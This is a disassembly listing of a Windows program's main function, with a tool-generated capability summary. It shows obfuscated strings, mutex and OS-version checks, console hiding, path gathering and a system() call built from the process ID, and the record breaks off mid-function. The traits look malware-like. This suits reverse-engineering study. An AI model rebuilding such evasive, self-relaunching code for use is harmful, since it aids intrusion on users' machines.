Function at 0x231951432
Capabilities:
Check if file exists
Check mutex on windows
Copy file
Create process on windows
Delete file
Execute command
Get common file path
Get disk information
Get session user name
Move file
Query environment variable
Set console window title
Set current directory
Set file attributes
Set registry value

Disassembly:
push rbp
push rbx
mov eax, 0x4758
call fcn.2319676c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x46f0], ecx
mov qword [rbp + 0x46f8], rdx
call sym.__main
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.IsWindowsServer__
xor eax, 1
test al, al
jne 0x231951481
call sym.IsWindowsServer__
test al, al
je 0x231951488
mov eax, 1
jmp 0x23195148d
mov eax, 0
test al, al
je 0x231951577
call sym.IsWindowsXPOrGreater__
xor eax, 1
test al, al
jne 0x2319514f2
call sym.IsWindowsXPSP1OrGreater__
xor eax, 1
test al, al
jne 0x2319514f2
call sym.IsWindowsXPSP2OrGreater__
xor eax, 1
test al, al
jne 0x2319514f2
call sym.IsWindowsXPSP3OrGreater__
xor eax, 1
test al, al
jne 0x2319514f2
call sym.IsWindowsVistaOrGreater__
test al, al
jne 0x2319514f2
call sym.IsWindowsVistaSP1OrGreater__
test al, al
jne 0x2319514f2
call sym.IsWindowsVistaSP2OrGreater__
test al, al
jne 0x2319514f2
call sym.IsWindows7OrGreater__
test al, al
jne 0x2319514f2
call sym.IsWindows7SP1OrGreater__
test al, al
je 0x2319514f9
mov eax, 1
jmp 0x2319514fe
mov eax, 0
test al, al
je 0x231951577
mov rax, qword [sym.imp.USER32.dll_IsProcessDPIAware]
call rax
test eax, eax
sete al
test al, al
je 0x231951577
mov rax, qword [sym.imp.USER32.dll_SetProcessDPIAware]
call rax
test eax, eax
sete al
test al, al
je 0x231951577
call sym.IsWindows8OrGreater__
xor eax, 1
test al, al
jne 0x23195153b
call sym.IsWindows8Point1OrGreater__
test al, al
je 0x231951542
mov eax, 1
jmp 0x231951547
mov eax, 0
test al, al
je 0x231951577
mov ecx, 1
call sym.SetProcessDpiAwareness
test eax, eax
setne al
test al, al
je 0x231951577
call sym.IsWindows10OrGreater__
test al, al
je 0x231951577
mov rcx, 0xfffffffffffffffe
mov rax, qword [sym.imp.USER32.dll_SetProcessDpiAwarenessContext]
call rax
mov dword [rbp + 0x113c], 0x101
lea rdx, [rbp + 0x113c]
lea rax, [rbp + 0x1140]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rax, [rbp + 0x1030]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x1030]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x1030]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0xf20]
mov r8d, 0x104
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp + 0xf20]
lea rax, [rbp + 0xe10]
mov rcx, rax
call sym.strcpy
lea rdx, [rbp + 0xf20]
lea rax, [rbp + 0xd00]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xe10]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathStripPathA]
call rax
lea rax, [rbp + 0xd00]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call rax
lea rax, [rbp + 0xd00]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0xd00]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
call rax
lea rax, [rbp + 0xbf0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
call rax
lea rax, [rbp + 0xae0]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call rax
lea rax, [rbp + 0xae0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0xae0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
call rax
lea rax, [rbp + 0x9d0]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp + 0x9d0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x9d0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
call rax
lea rax, [rbp + 0x8c0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x10
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x8c0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x8c0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
call rax
lea rax, [rbp + 0x7b0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
call rax
cmp dword [rbp + 0x46f0], 2
jle 0x231951829
lea rax, [rbp + 0x124f]
mov rcx, rax
call method.main.lambda__1::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__4130136686856459025ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231951829
mov eax, 1
jmp 0x23195182e
mov eax, 0
test al, al
je 0x2319573a3
lea rax, [rbp + 0x1279]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x1279]
lea rax, [rbp + 0x1250]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1250]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoi_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
lea rax, [rbp + 0x1250]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1279]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 1
lea rax, [sym.f_kbsig_unsigned_long_]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call rax
cmp dword [rbp + 0x46f0], 4
jle 0x231951900
lea rax, [rbp + 0x127a]
mov rcx, rax
call method.main.lambda__2::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8783450493831703475ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x20
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231951900
mov eax, 1
jmp 0x231951905
mov eax, 0
test al, al
je 0x23195195c
lea rax, [rbp + 0x127b]
mov rcx, rax
call method.main.lambda__3::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__10646473672096041913ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, 0
lea rax, [sym.f_kbsig_unsigned_long_]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call rax
cmp dword [rbp + 0x46f0], 3
jle 0x2319519a0
lea rax, [rbp + 0x127c]
mov rcx, rax
call method.main.lambda__4::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__836881711043167677ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319519a0
mov eax, 1
jmp 0x2319519a5
mov eax, 0
test al, al
je 0x231951ab6
lea rax, [rbp + 0x127d]
mov rcx, rax
call method.main.lambda__5::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__7148656499057590053ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0xd00]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231951ea0
cmp dword [rbp + 0x46f0], 4
jle 0x231951a4a
lea rax, [rbp + 0x127e]
mov rcx, rax
call method.main.lambda__6::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6622389291486526817ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x20
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231951a4a
mov eax, 1
jmp 0x231951a4f
mov eax, 0
test al, al
je 0x231951a99
lea rax, [rbp + 0x127f]
mov rcx, rax
call method.main.lambda__7::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__17423247695049881559ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
jmp 0x231951aa2
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov edx, 1
mov ecx, 0xea60
call sym.f_slpc_unsigned_long__int_
jmp 0x231951ea0
call sym.f_ele__
test eax, eax
setne al
test al, al
je 0x231951cd1
lea rax, [rbp + 0x12ce]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x12cf]
mov rcx, rax
call method.main.lambda__9::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__9450746032868259157ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x12ce]
lea rax, [rbp + 0x12a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x131f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x131f]
lea rdx, [rbp + 0xe10]
lea rax, [rbp + 0x12f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x136e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x136f]
mov rcx, rax
call method.main.lambda__8::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__9450746032868259157ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x136e]
lea rax, [rbp + 0x1340]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x139f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x139f]
lea rdx, [rbp + 0xe10]
lea rax, [rbp + 0x1370]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1320]
lea rcx, [rbp + 0x1340]
lea rdx, [rbp + 0x1370]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x12d0]
lea rcx, [rbp + 0x12f0]
lea rdx, [rbp + 0x1320]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1280]
lea rcx, [rbp + 0x12a0]
lea rdx, [rbp + 0x12d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1280]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x1280]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x12d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x139f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1340]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x136e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x12f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x131f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x12a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x12ce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 0
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x13ee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x13ef]
mov rcx, rax
call method.main.lambda__11::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__15973502005608048967ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x13ee]
lea rax, [rbp + 0x13c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov edx, eax
lea rax, [rbp + 0x1410]
mov rcx, rax
call method.std::__cxx11.to_string_unsigned_long_
lea rax, [rbp + 0x145c]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x145d]
mov rcx, rax
call method.main.lambda__10::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_16ull__15973502005608048967ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x145c]
lea rax, [rbp + 0x1430]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x13f0]
lea rcx, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x13a0]
lea rcx, [rbp + 0x13c0]
lea rdx, [rbp + 0x13f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x13a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
test eax, eax
setne bl
lea rax, [rbp + 0x13a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x13f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1430]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x145c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1410]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x13c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x13ee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x231951e87
lea rax, [rbp + 0x145e]
mov rcx, rax
call method.main.lambda__12::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__12385846710368055227ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
call sym.abort
mov edx, 0
mov ecx, 0x6ddd00
call sym.f_slpc_unsigned_long__int_
mov ebx, 0
jmp 0x23195aa74
lea rax, [rbp + 0x145f]
mov rcx, rax
call method.main.lambda__13::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__7920544567226083633ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
lea rax, [rbp + 0x1460]
mov edx, dword [rbp + 0x46f0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1460]
mov rdx, rax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x1460]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp + 0x46cc], 0
jmp 0x231951feb
lea rax, [rbp + 0x148f]
mov rcx, rax
call method.main.lambda__14::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__7032104107110024017ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
lea rax, [rbp + 0x1490]
mov edx, dword [rbp + 0x46cc]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1490]
mov rdx, rax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rbx, rax
lea rax, [rbp + 0x14b8]
mov rcx, rax
call method.main.lambda__15::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__7032104107110024017ull__char_.operator_char__
mov rdx, rax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x46cc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x46f8]
add rax, rdx
mov rax, qword [rax]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x1490]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [rbp + 0x46cc], 1
mov eax, dword [rbp + 0x46cc]
cmp eax, dword [rbp + 0x46f0]
jl 0x231951f23
lea rax, [rbp + 0x14b9]
mov rcx, rax
call method.main.lambda__16::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__2703221208095757587ull__char_.operator_char__
mov r8, rax
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp + 0x45f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x231952081
lea rax, [rbp + 0x14ba]
mov rcx, rax
call method.main.lambda__17::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_21ull__5558956308119376861ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x14bb]
mov rcx, rax
call method.main.lambda__18::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__10620914484257309563ull__char_.operator_char__
mov rcx, rax
lea rax, [rbp + 0x270]
mov r8d, 0x104
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call rax
lea rax, [rbp + 0x14bc]
mov rcx, rax
call method.main.lambda__19::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__5279328864176163617ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x23195213d
lea rax, [rbp + 0x14bd]
mov rcx, rax
call method.main.lambda__20::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__1717544791976400333ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x160]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x14be]
mov rcx, rax
call method.main.lambda__21::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__13244996024794054425ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.strcpy
jmp 0x2319521e6
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x380]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x380]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rdx, [rbp + 0x160]
lea rax, [rbp + 0x380]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
call rax
lea rax, [rbp + 0x160]
movzx eax, byte [rax]
test al, al
jne 0x2319521e6
lea rax, [rbp + 0x14bf]
mov rcx, rax
call method.main.lambda__22::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__17120261590094184339ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x160]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x270]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x14ee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x14ef]
mov rcx, rax
call method.main.lambda__23::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__4851990327748295079ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x14ee]
lea rax, [rbp + 0x14c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x151f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x151f]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x14f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x14c0]
lea rax, [rbp + 0x14f0]
mov rcx, rax
call sym.f_dwc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x14f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x151f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x14c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x14ee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x154e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x154f]
mov rcx, rax
call method.main.lambda__25::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6169365677677468053ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x154e]
lea rax, [rbp + 0x1520]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1570]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x15de]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x15df]
mov rcx, rax
call method.main.lambda__24::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__6169365677677468053ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x15de]
lea rax, [rbp + 0x15b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x160f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x160f]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x15e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1590]
lea rcx, [rbp + 0x15b0]
lea rdx, [rbp + 0x15e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1550]
lea rcx, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
